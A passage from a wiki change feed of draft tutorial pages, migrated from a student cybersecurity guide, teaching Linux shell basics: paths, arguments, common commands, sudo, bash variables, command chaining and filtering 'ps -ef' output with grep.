However, when running commands or changing directories, it&#039;s not always necessary to specify the full path from the root directory (/). Often, you can specify just a relative path, which is the path to a file or folder from where you are now. For example, if you are in &amp;lt;code&amp;gt;/home/user&amp;lt;/code&amp;gt; and want to get to &amp;lt;code&amp;gt;/home/user/Desktop&amp;lt;/code&amp;gt;, you don&#039;t actually have to specify that full path, you can just run &amp;lt;code&amp;gt;cd Desktop&amp;lt;/code&amp;gt;. Or, if you want to access a subfolder in &amp;lt;code&amp;gt;Desktop&amp;lt;/code&amp;gt;, you can just do &amp;lt;code&amp;gt;cd Desktop/subfolder&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ cd Desktop&lt;br /&gt;
user@system:/home/user/Desktop$&lt;br /&gt;
user@system:/home/user/Desktop$ cd subfolder/important_files&lt;br /&gt;
user@system:/home/user/Desktop/subfolder/important_files$&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Additionally, if you need to go back a directory, you can use the &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt; shortcut. &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt; means parent directory, which means you can &amp;lt;code&amp;gt;cd&amp;lt;/code&amp;gt; to it to go back, or use it in a relative path to go somewhere else.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user/Desktop/subfolder$ cd ..&lt;br /&gt;
user@system:/home/user/Desktop$ cd ../Documents&lt;br /&gt;
user@system:/home/user/Documents&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Another handy trick is that &amp;lt;code&amp;gt;~&amp;lt;/code&amp;gt; at the start of the path signifies your home directory. For example, you can &amp;lt;code&amp;gt;cd ~&amp;lt;/code&amp;gt; to go to the home directory, or you can specify &amp;lt;code&amp;gt;~/Desktop/file.txt&amp;lt;/code&amp;gt; or something similar in a command instead of needing to write &amp;lt;code&amp;gt;/home/user/Desktop/file.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Passing arguments ===&lt;br /&gt;
&lt;br /&gt;
When you run a command, you can pass arguments in it to make it do specific things. Arguments are different per command, but there are general rules for how you have to pass them.&lt;br /&gt;
&lt;br /&gt;
==== Spaces ====&lt;br /&gt;
&lt;br /&gt;
Arguments are separated by a whitespace (&amp;amp;quot; &amp;amp;quot; or a new line). For example: &amp;lt;code&amp;gt;a_command arg_1 arg_2&amp;lt;/code&amp;gt;. If you need to pass a space in the argument, however, you have two options. You can escape the space by preceding it by a backslash (&amp;lt;code&amp;gt;arg with space&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;arg\ with\ space&amp;lt;/code&amp;gt;), or you can put the whole thing in quotes (&amp;lt;code&amp;gt;&amp;amp;quot;arg with space&amp;amp;quot;&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Special characters ====&lt;br /&gt;
&lt;br /&gt;
Certain characters have special meanings in bash, such as &amp;lt;code&amp;gt;$&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;\&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;{&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;}&amp;lt;/code&amp;gt;, and some others. If you need to use these characters, you can escape them by preceding them with a backslash, just like with spaces. Example: (&amp;lt;code&amp;gt;$a&amp;lt;/code&amp;gt; does not work as expected, but &amp;lt;code&amp;gt;\$a&amp;lt;/code&amp;gt; does).&lt;br /&gt;
&lt;br /&gt;
==== Flags ====&lt;br /&gt;
&lt;br /&gt;
Many commands don&#039;t just take arbitrary input; they use flags to modify behavior. Flags are arguments that usually look like &amp;lt;code&amp;gt;-a&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;--example&amp;lt;/code&amp;gt;. Usually, you can find information on what flags exist and what they do by specifying &amp;lt;code&amp;gt;--help&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Basic commands ===&lt;br /&gt;
&lt;br /&gt;
Here are some basic commands you can use in almost all Linux systems:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ls &amp;amp;lt;dir&amp;amp;gt;&amp;lt;/code&amp;gt;: This command lists everything in the directory you specify (&amp;lt;code&amp;gt;&amp;amp;lt;dir&amp;amp;gt;&amp;lt;/code&amp;gt;). If you don&#039;t specify one, it will list everything in your current directory.&lt;br /&gt;
* &amp;lt;code&amp;gt;cat &amp;amp;lt;files&amp;amp;gt;&amp;lt;/code&amp;gt;: This command prints the content of every file you specify. You can specify several files, and it will concatenate them and print the result.&lt;br /&gt;
* &amp;lt;code&amp;gt;echo &amp;amp;lt;text&amp;amp;gt;&amp;lt;/code&amp;gt;: This just prints out whatever text you specify. Echo is unique in that if you specify several arguments, it will just print everything you specify.&lt;br /&gt;
* &amp;lt;code&amp;gt;mv &amp;amp;lt;old_file&amp;amp;gt; &amp;amp;lt;new_file&amp;amp;gt;&amp;lt;/code&amp;gt;: The &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; command moves or renames the first file (&amp;lt;code&amp;gt;&amp;amp;lt;old_file&amp;amp;gt;&amp;lt;/code&amp;gt;) to the new file (&amp;lt;code&amp;gt;&amp;amp;lt;new_file&amp;amp;gt;&amp;lt;/code&amp;gt;). If the new file is the path to a directory, it will keep the file name but put it in that directory. Otherwise, it will rename it to whatever you set.&lt;br /&gt;
* &amp;lt;code&amp;gt;rm &amp;amp;lt;file&amp;amp;gt;&amp;lt;/code&amp;gt;: The &amp;lt;code&amp;gt;rm&amp;lt;/code&amp;gt; command deletes the file specified. It allows the &amp;lt;code&amp;gt;-r&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;-f&amp;lt;/code&amp;gt; flags, which remove recursively (for deleting directories) and remove forcefully (for write protected files) respectively.&lt;br /&gt;
* &amp;lt;code&amp;gt;gedit &amp;amp;lt;file&amp;amp;gt;&amp;lt;/code&amp;gt;: This command opens the specified file in &amp;lt;code&amp;gt;gedit&amp;lt;/code&amp;gt;, the default GUI text editor for Ubuntu. Some other distros may have a different editor, so this may not always work.&lt;br /&gt;
* &amp;lt;code&amp;gt;whoami&amp;lt;/code&amp;gt;: This will just return your username.&lt;br /&gt;
&lt;br /&gt;
=== Some other tips ===&lt;br /&gt;
&lt;br /&gt;
* You can use the up and down arrow keys to navigate through your recent commands; to run your last command again, just hit the up arrow and it will come back.&lt;br /&gt;
* &amp;lt;code&amp;gt;CTRL+A&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;CTRL+E&amp;lt;/code&amp;gt; move the cursor to the beginning and end of the command respectively. This is useful if you don&#039;t have Home and End on your keyboard.&lt;br /&gt;
* You can hit Tab to autocomplete a command or file path so you don&#039;t have to type the whole thing.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Fundamentals|019]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Intermediate_Bash&amp;diff=165</id>
		<title>Draft:Intermediate Bash</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Intermediate_Bash&amp;diff=165"/>
		<updated>2026-09-22T05:42:37Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/linux_fundamentals/intermediate_bash (source: docs/linux/linux_fundamentals/intermediate_bash.md) --&amp;gt;&lt;br /&gt;
Author(s): Matthias Lee (ml2322) &amp;lt;br /&amp;gt; Last Updated: 07-07-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
&amp;lt;li&amp;gt;Introductory bash&amp;lt;/li&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Now that you understand the basics of Bash, we can learn about some more advanced things it can do.&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation ===&lt;br /&gt;
&lt;br /&gt;
In linux, the hidden &amp;lt;code&amp;gt;root&amp;lt;/code&amp;gt; user has special privileges. The root user can, for the most part, read, write, and change permissions on every file. Many commands can only be executed as root, since they use these more locked down files.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
As mentioned, some commands require root privileges to run, as they modify restricted system files or interact with the system in a privileged manner. To run commands as root, you can prefix them with &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;. Sudo is another command that runs whatever you specified with root privileges. A common command that needs root access is &amp;lt;code&amp;gt;apt&amp;lt;/code&amp;gt; for installing, removing, or modifying programs on your system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ ls /root&lt;br /&gt;
Permission Denied&lt;br /&gt;
user@system:/home/user$ sudo ls /root&lt;br /&gt;
1984.pdf&lt;br /&gt;
user@system:/home/user$ whoami&lt;br /&gt;
user&lt;br /&gt;
user@system:/home/user$ sudo whoami&lt;br /&gt;
root&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Scripts ===&lt;br /&gt;
&lt;br /&gt;
Bash isn&#039;t just for interacting with the terminal, you can script in it too. To make a bash script, put bash commands (as you would run them in the terminal) in a file with the &amp;lt;code&amp;gt;.sh&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;.bash&amp;lt;/code&amp;gt; extension. While not usually required, it&#039;s good practice to put &amp;lt;code&amp;gt;#!/usr/bin/bash&amp;lt;/code&amp;gt; at the top of the file, as it is required in some cases. To run a script, just run &amp;lt;code&amp;gt;bash &amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt;, and bash will execute your script.&lt;br /&gt;
&lt;br /&gt;
=== Variables ===&lt;br /&gt;
&lt;br /&gt;
Just like any other programming language, Bash has variables too, which you can read, create, and modify.&lt;br /&gt;
&lt;br /&gt;
==== Setting variables ====&lt;br /&gt;
&lt;br /&gt;
To set a variable in bash, you can either run &amp;lt;code&amp;gt;variable=value&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;export variable=value&amp;lt;/code&amp;gt;. The key difference between the two is that if you use &amp;lt;code&amp;gt;export&amp;lt;/code&amp;gt;, any programs you run within bash can access the variable too. NOTE: one quirk of bash is that you can not have a space before or after the &amp;lt;code&amp;gt;=&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Using variables ====&lt;br /&gt;
&lt;br /&gt;
To use a variable, you can do &amp;lt;code&amp;gt;$&amp;amp;lt;name&amp;amp;gt;&amp;lt;/code&amp;gt;, where &amp;lt;code&amp;gt;&amp;amp;lt;name&amp;amp;gt;&amp;lt;/code&amp;gt; is the variable you want to access. That will then get substituted out for the variable&#039;s value. For example, if variable &amp;lt;code&amp;gt;foo&amp;lt;/code&amp;gt; is set to &amp;lt;code&amp;gt;bar&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;echo $foo&amp;lt;/code&amp;gt; will print &amp;lt;code&amp;gt;bar&amp;lt;/code&amp;gt;. This syntax works, but has limitations, as you can not put regular characters straight after the variable. For example, (&amp;lt;code&amp;gt;$variablehello&amp;lt;/code&amp;gt;) will be interpreted as you trying to access a variable called &amp;lt;code&amp;gt;variablehello&amp;lt;/code&amp;gt;, instead of accessing &amp;lt;code&amp;gt;variable&amp;lt;/code&amp;gt; and taking &amp;lt;code&amp;gt;hello as additional input right after&amp;lt;/code&amp;gt;. To solve this, you can use the following syntax instead: &amp;lt;code&amp;gt;${variable}&amp;lt;/code&amp;gt;. This will also access the variable, &amp;lt;code&amp;gt;variable&amp;lt;/code&amp;gt;, except bash knows when it ends by the curly braces. This syntax also has other uses we&#039;ll discuss later. Uniquely, if the variable doesn&#039;t exist, bash doesn&#039;t throw an error, it just treats it like the variable is blank&lt;br /&gt;
&lt;br /&gt;
==== Examples ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ var=a&lt;br /&gt;
user@system:/home/user$ echo $var&lt;br /&gt;
a&lt;br /&gt;
user@system:/home/user$ export env_var=b&lt;br /&gt;
user@system:/user/user$ echo $env_var&lt;br /&gt;
b&lt;br /&gt;
user@system:/user/user$ some_command&lt;br /&gt;
(this command can access env_var but not var)&lt;br /&gt;
user@system:/user/user$ echo $varbc&lt;br /&gt;
(no output because varbc doesn&#039;t exist)&lt;br /&gt;
user@system:/user/user$ echo ${var}bc&lt;br /&gt;
abc&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Joining Commands ===&lt;br /&gt;
&lt;br /&gt;
Bash has three main ways to let you run several commands at once:&lt;br /&gt;
&lt;br /&gt;
==== ; ====&lt;br /&gt;
&lt;br /&gt;
Joining commands with a semicolon will make them run sequentially, no matter if they succeed or not.&lt;br /&gt;
&lt;br /&gt;
==== &amp;amp;amp;&amp;amp;amp; ====&lt;br /&gt;
&lt;br /&gt;
Joining commands with &amp;lt;code&amp;gt;&amp;amp;amp;&amp;amp;amp;&amp;lt;/code&amp;gt; will execute the second command only if the first succeeds&lt;br /&gt;
&lt;br /&gt;
==== || ====&lt;br /&gt;
&lt;br /&gt;
Joining commands with &amp;lt;code&amp;gt;||&amp;lt;/code&amp;gt; will execute the second command only if the first fails&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ command_a; command_b&lt;br /&gt;
(both will always run)&lt;br /&gt;
user@system:/home/user$ command_a &amp;amp;&amp;amp; command_b&lt;br /&gt;
(b will run only if a succeeds)&lt;br /&gt;
user@system:/home/user$ command_a || command_b&lt;br /&gt;
(b will run only if a fails)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
====== Further Reading ======&lt;br /&gt;
&lt;br /&gt;
* https://www.howtogeek.com/737563/what-is-root-on-linux/&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Fundamentals|020]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Grep_and_Loops&amp;diff=164</id>
		<title>Draft:Grep and Loops</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Grep_and_Loops&amp;diff=164"/>
		<updated>2026-09-22T05:42:35Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/linux_fundamentals/grepandloops (source: docs/linux/linux_fundamentals/grepandloops.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): Kirill Shore&lt;br /&gt;
&lt;br /&gt;
Last Updated: 09-23-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
Grep: a command-line utility for searching plain-text data for lines that match a given pattern.&lt;br /&gt;
&lt;br /&gt;
What do we normally do when we need to find something? In typical GUI-based systems, the search bar is the main input. It can be used to find specific filetypes, or phrases within files, within the directory you are currently in. Grep serves that same purpose, but less user-friendly. It is simply like a search bar. For example: ls -al | grep hello is the same thing as typing hello into the search bar of your windows file explorer, it will simply find all files with hello on their titles (although windows also does the contents of the fies as well, I think). So, in the above command, we first listed all files (because grep only looks for things wihin a string, it doesn&#039;t just magically know you want to find files within a directory---for that you have to put your filter term in these quote thingies: ls -al | grep &amp;amp;quot;hello&amp;amp;quot;) and then search that input for &amp;amp;quot;hello&amp;amp;quot;, and printed all outputs with hello. Now, this may seem very basic, but in reality this is extremely useful. Linux doesn&#039;t have a simple &amp;amp;quot;task manager&amp;amp;quot; (depending on distro), so for many people, to do certain things requires grep. Grep is really good as a filter. Let&#039;s execute ps -ef as an example (don&#039;t worry about what it does for now):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;kirillshore@Magma:~$ ps -ef&lt;br /&gt;
UID          PID    PPID  C STIME TTY          TIME CMD&lt;br /&gt;
root           1       0  0 00:30 ?        00:00:05 /sbin/init splash&lt;br /&gt;
nm-open+    4308    4303  0 09:26 ?        00:00:04 /usr/sbin/openvpn --remote 79.127.185.165 80 udp --explicit-exit-notify --remote 79.127.185.165 51820 udp --explicit-exit-notify --remote 79.127.185.165 4569 udp&lt;br /&gt;
root        4579       2  0 09:26 ?        00:00:00 [psimon]&lt;br /&gt;
kirills+    4589       1 16 09:26 ?        00:03:51 /snap/firefox/6738/usr/lib/firefox/firefox&lt;br /&gt;
kirills+    4653       1  0 09:26 ?        00:00:00 /snap/firefox/6738/usr/lib/firefox/crashhelper 4589 9 /tmp/ 10 12&lt;br /&gt;
kirills+    4695    1801  0 09:26 ?        00:00:00 /usr/libexec/xdg-desktop-portal&lt;br /&gt;
kirills+    4704    1801  0 09:26 ?        00:00:01 /usr/libexec/xdg-desktop-portal-gtk&lt;br /&gt;
kirills+    4753    4589  0 09:26 ?        00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -ipcHandle 0 -signalPipe 1 -initialChannelId {9344635f-1778-4e18-83fb-e8fe770c53d5} -parentPid 4589 -greo&lt;br /&gt;
kirills+    4758    4753  0 09:26 ?        00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -parentBuildID 20250828192042 -prefsHandle 0:37119 -prefMapHandle 1:273460 -sandboxReporter 2 -chrootClie&lt;br /&gt;
kirills+    4777    4753  3 09:26 ?        00:00:42 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:37260 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828&lt;br /&gt;
kirills+    4787    4753  0 09:26 ?        00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -parentBuildID 20250828192042 -prefsHandle 0:37260 -prefMapHandle 1:273460 -sandboxReporter 2 -chrootClie&lt;br /&gt;
kirills+    4818    1801  0 09:26 ?        00:00:00 /usr/bin/snap userd&lt;br /&gt;
kirills+    4982    4753  0 09:26 ?        00:00:01 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:46695 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828&lt;br /&gt;
kirills+    5299    4753  0 09:26 ?        00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -parentBuildID 20250828192042 -sandboxingKind 0 -prefsHandle 0:47645 -prefMapHandle 1:273460 -sandboxRepo&lt;br /&gt;
kirills+    5317    4753  0 09:26 ?        00:00:06 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:43870 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828&lt;br /&gt;
kirills+    5471    4753  0 09:26 ?        00:00:06 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:43870 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828&lt;br /&gt;
kirills+    5582    4753  0 09:26 ?        00:00:02 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:44139 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828&lt;br /&gt;
kirills+    5632    4753  4 09:27 ?        00:00:56 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:44139 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828&lt;br /&gt;
root        5912       2  0 09:29 ?        00:00:00 [kworker/1:2H]&lt;br /&gt;
kirills+    6190    4753  3 09:31 ?        00:00:43 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:44197 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828&lt;br /&gt;
kirills+    6348    2120  0 09:31 ?        00:00:00 /usr/libexec/gvfsd-network --spawner :1.18 /org/gtk/gvfs/exec_spaw/2&lt;br /&gt;
kirills+    6362    2120  0 09:31 ?        00:00:00 /usr/libexec/gvfsd-dnssd --spawner :1.18 /org/gtk/gvfs/exec_spaw/3&lt;br /&gt;
kirills+    6374    1801  0 09:31 ?        00:00:00 python3 /usr/bin/wsdd --no-host --discovery --listen /run/user/1000/gvfsd/wsdd&lt;br /&gt;
root        6455       2  0 09:32 ?        00:00:02 [kworker/0:4-events]&lt;br /&gt;
root        6472       2  0 09:32 ?        00:00:00 [kworker/u8:0-ipv6_addrconf]&lt;br /&gt;
kirills+    6529    2886  0 09:34 pts/2    00:00:00 bash&lt;br /&gt;
kirills+    6603       1  0 09:36 ?        00:00:00 ssh-agent -s&lt;br /&gt;
root        6662       2  0 09:38 ?        00:00:00 [kworker/0:0-mm_percpu_wq]&lt;br /&gt;
root        6679       2  0 09:38 ?        00:00:00 [kworker/u9:1-i915_flip]&lt;br /&gt;
kirills+    6695    4753  0 09:38 ?        00:00:04 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:44197 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828&lt;br /&gt;
kirills+    6756    4753  0 09:39 ?        00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:44197 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828&lt;br /&gt;
root        6808       2  0 09:40 ?        00:00:00 [kworker/u8:1-cros_usbpd_log]&lt;br /&gt;
root        6843       2  0 09:41 ?        00:00:00 [kworker/1:2-i915-unordered]&lt;br /&gt;
kirills+    6852    2886  0 09:41 pts/3    00:00:00 bash&lt;br /&gt;
root        6887       2  0 09:42 ?        00:00:00 [kworker/u9:2-i915_flip]&lt;br /&gt;
root        6980       2  0 09:45 ?        00:00:00 [kworker/0:1]&lt;br /&gt;
root        6983       2  0 09:45 ?        00:00:00 [kworker/1:0H-i915_cleanup]&lt;br /&gt;
root        6984       2  0 09:45 ?        00:00:00 [kworker/0:2H-kblockd]&lt;br /&gt;
root        7049       2  0 09:46 ?        00:00:00 [kworker/1:1-i915-unordered]&lt;br /&gt;
kirills+    7050    6529  0 09:46 pts/2    00:00:00 nano grepandloops.md&lt;br /&gt;
kirills+    7099    4753  0 09:48 ?        00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:44247 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828&lt;br /&gt;
kirills+    7129    4753  0 09:48 ?        00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:44247 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828&lt;br /&gt;
root        7155       2  0 09:48 ?        00:00:00 [kworker/u8:2-events_unbound]&lt;br /&gt;
kirills+    7182    6852 50 09:50 pts/3    00:00:00 ps -ef&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
We have several differen outputs for the command, but maybe the list is too long and we want to find commands for a specifc user, i.e. root. We can use grep as a filter by providing it the contents we want searched (ps -ef) and what we want to find (root)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;kirillshore@Magma:~$ ps -ef | grep root&lt;br /&gt;
root           1       0  0 00:30 ?        00:00:05 /sbin/init splash&lt;br /&gt;
root        4579       2  0 09:26 ?        00:00:00 [psimon]&lt;br /&gt;
kirills+    4758    4753  0 09:26 ?        00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -parentBuildID 20250828192042 -prefsHandle 0:37119 -prefMapHandle 1:273460 -sandboxReporter 2 -chrootClie&lt;br /&gt;
kirills+    4787    4753  0 09:26 ?        00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -parentBuildID 20250828192042 -prefsHandle 0:37260 -prefMapHandle 1:273460 -sandboxReporter 2 -chrootClie&lt;br /&gt;
root        5912       2  0 09:29 ?        00:00:00 [kworker/1:2H]&lt;br /&gt;
root        6455       2  0 09:32 ?        00:00:02 [kworker/0:4-events]&lt;br /&gt;
root        6472       2  0 09:32 ?        00:00:00 [kworker/u8:0-ipv6_addrconf]&lt;br /&gt;
root        6662       2  0 09:38 ?        00:00:00 [kworker/0:0-mm_percpu_wq]&lt;br /&gt;
root        6679       2  0 09:38 ?        00:00:00 [kworker/u9:1-i915_flip]&lt;br /&gt;
root        6808       2  0 09:40 ?        00:00:00 [kworker/u8:1-cros_usbpd_log]&lt;br /&gt;
root        6843       2  0 09:41 ?        00:00:00 [kworker/1:2-i915-unordered]&lt;br /&gt;
root        6887       2  0 09:42 ?        00:00:00 [kworker/u9:2-i915_flip]&lt;br /&gt;
root        6980       2  0 09:45 ?        00:00:00 [kworker/0:1]&lt;br /&gt;
root        6983       2  0 09:45 ?        00:00:00 [kworker/1:0H-i915_cleanup]&lt;br /&gt;
root        6984       2  0 09:45 ?        00:00:00 [kworker/0:2H-kblockd]&lt;br /&gt;
root        7049       2  0 09:46 ?        00:00:00 [kworker/1:1-i915-unordered]&lt;br /&gt;
root        7155       2  0 09:48 ?        00:00:00 [kworker/u8:2-events_unbound]&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Huh, that&#039;s weird. We used grep to look for root. Why do we have kirills+? The answer is simple: grep looks for ALL results. We told it to simply find root, and as we can see, the kirills+ line has the string &amp;amp;quot;chrootClie&amp;amp;quot; in it&#039;s output: kirills+ 4787 4753 0 09:26 ? 00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -parentBuildID 20250828192042 -prefsHandle 0:37260 -prefMapHandle 1:273460 -sandboxReporter 2 -chrootClie This means that grep saw &amp;amp;quot;root&amp;amp;quot; in &amp;amp;quot;chrootClie&amp;amp;quot; and said: the user wanted to find all things with root, this countains root, so give the user this as an output as well.&lt;br /&gt;
&lt;br /&gt;
But what if we want root search for simply a string, not a substring within a larger string? Well, simply put, we can add a -w flag. -w is short for the flag --word-regexp. this means it will &amp;amp;quot;match only whole words&amp;amp;quot; --- words that are by themselves.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;kirillshore@Magma:~$ ps -ef | grep root -w&lt;br /&gt;
root           1       0  0 00:30 ?        00:00:05 /sbin/init splash&lt;br /&gt;
root        4579       2  0 09:26 ?        00:00:00 [psimon]&lt;br /&gt;
root        5912       2  0 09:29 ?        00:00:00 [kworker/1:2H]&lt;br /&gt;
root        6455       2  0 09:32 ?        00:00:02 [kworker/0:4-events]&lt;br /&gt;
root        6472       2  0 09:32 ?        00:00:00 [kworker/u8:0-ipv6_addrconf]&lt;br /&gt;
root        6662       2  0 09:38 ?        00:00:00 [kworker/0:0-mm_percpu_wq]&lt;br /&gt;
root        6679       2  0 09:38 ?        00:00:00 [kworker/u9:1-i915_flip]&lt;br /&gt;
root        6808       2  0 09:40 ?        00:00:00 [kworker/u8:1-cros_usbpd_log]&lt;br /&gt;
root        6843       2  0 09:41 ?        00:00:00 [kworker/1:2-i915-unordered]&lt;br /&gt;
root        6887       2  0 09:42 ?        00:00:00 [kworker/u9:2-i915_flip]&lt;br /&gt;
root        6980       2  0 09:45 ?        00:00:00 [kworker/0:1]&lt;br /&gt;
root        6983       2  0 09:45 ?        00:00:00 [kworker/1:0H-i915_cleanup]&lt;br /&gt;
root        6984       2  0 09:45 ?        00:00:00 [kworker/0:2H-kblockd]&lt;br /&gt;
root        7049       2  0 09:46 ?        00:00:00 [kworker/1:1-i915-unordered]&lt;br /&gt;
root        7155       2  0 09:48 ?        00:00:00 [kworker/u8:2-events_unbound]&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
as we can see, any lines that didn&#039;t contian root by itself were wiltered out.&lt;br /&gt;
&lt;br /&gt;
Now, let&#039;s say that we have a file in which we need to find something. For example, we want to find all lines that mention &#039;sir&#039;. However, the file is full of grammatical errors. Running the command like normal will not get all of the results we want:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;kirillshore@Magma:~/GitHub/tmp$ cat romeo\ ampersand\ juliet\ chapter\ 1.md | grep sir&lt;br /&gt;
Abraham: Do you bite your thumb at us, sir?&lt;br /&gt;
Sampson: I do bite my thumb, sir.&lt;br /&gt;
Abraham: Do you bite your thumb at us, sir?&lt;br /&gt;
Sampson: No, sir. I do not bite my thumb at you, sir. But I bite my thumb, sir.&lt;br /&gt;
Abraham: Quarrel, sir! No, sir.&lt;br /&gt;
Sampson: If you do, sir, I am for you. I serve as good a man as you.&lt;br /&gt;
